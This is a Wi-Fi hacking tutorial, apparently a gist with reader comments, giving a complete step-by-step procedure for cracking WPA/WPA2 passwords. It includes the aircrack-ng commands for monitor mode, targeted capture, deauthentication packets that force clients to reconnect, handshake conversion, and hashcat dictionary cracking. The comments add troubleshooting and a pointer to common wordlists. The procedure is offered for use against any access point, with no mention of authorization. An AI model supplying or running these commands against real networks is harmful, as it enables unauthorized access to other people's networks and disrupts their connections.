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Hack Wifi (WPA/WPA2) with Aircrack-ng

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Crack-WIFI-WPA2 in Linux!

Lets capture the flag (I mean Handshake):


  1. Detect your wireless network interface :

if coudn't find command then try :


lets take wlp3s0 as the wireless interface

  1. Start monitor mode :
sudo airmon-ng start wlp3s0 
  1. capture traffic :
sudo airodump-ng wlp3s0mon 


  1. select target and focus on one AP on channel:
sudo airodump-ng --bssid xx.xx.xx.xx.xx.xx -c y --write filename wlp3s0mon
  • xx.xx.xx.xx.xx.xx defines : AP BSSID -> (suppose)
  • y defines : AP channel -> 10 (suppose)
  • filename is the file name where the handshake will captute and make some other stuffs .


  1. Send traffic to the channel :
sudo aireplay-ng --deauth y -a xx.xx.xx.xx.xx.xx  wlp3s0mon
  • ammoun of traffic-> y
  1. Capture handshake : it will be shown in the monitor if captured ! at Terminal-2.

  2. Now you got the handshake .(terminal-2)

  3. Stop the process of terminal-2 : ctrl+c

Now Lets crack the password !

There will be a WPAcrack-01.cap file in your home directory

  1. convert cap file into hccapx file : https://www.onlinehashcrack.com/tools-cap-to-hccapx-converter.php


  1. use cap2hccapx.c file to convert the cap file to hccapx file
gcc cap2hccapx.c -o cap2hccapx && ./cap2hccapx file.cap file.hccapx
  1. Crack password using hashcat : Alt Text
  • Install hashcat :sudo apt install hashcat
  • check is everything oky ? : hashcat -I to use hashcat you need gpu
  • crack password :
sudo  hashcat -m 2500 wpacrack.hccapx dictionary.txt
  • dictionary.txt -> word list (suppose)
  • wpacrack.hccapx is the handshake file

Then you will get the password.

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airodump-ng does not discover any wifi networks, though they all are in very close proximity and good strength, they are visible on my phone but airodump-ng shows this and stays like this forever, without any change


sometimes it cant capture the handshake and there can be may reasons for that like your wirelesses adapter is not capable of capturing it, weak signal bla bla.....

Try to stay close to the targeted device.


Yes i searched about it a lot on the internet and finally got to know that there is some issue with the QUALCOM ATHEROS Q933... adapter which comes in a lot of devicesand the only possible solution for this is to use an external Wi-Fi card


where are locate a wordlist?
where a wordlist from?


you can make your own word lists or you can download from internet.
There are a lot of word lists made by the hackers.
One of the popular word list is rock you.txt you can google it.


Exactly what didnt you understan? 😕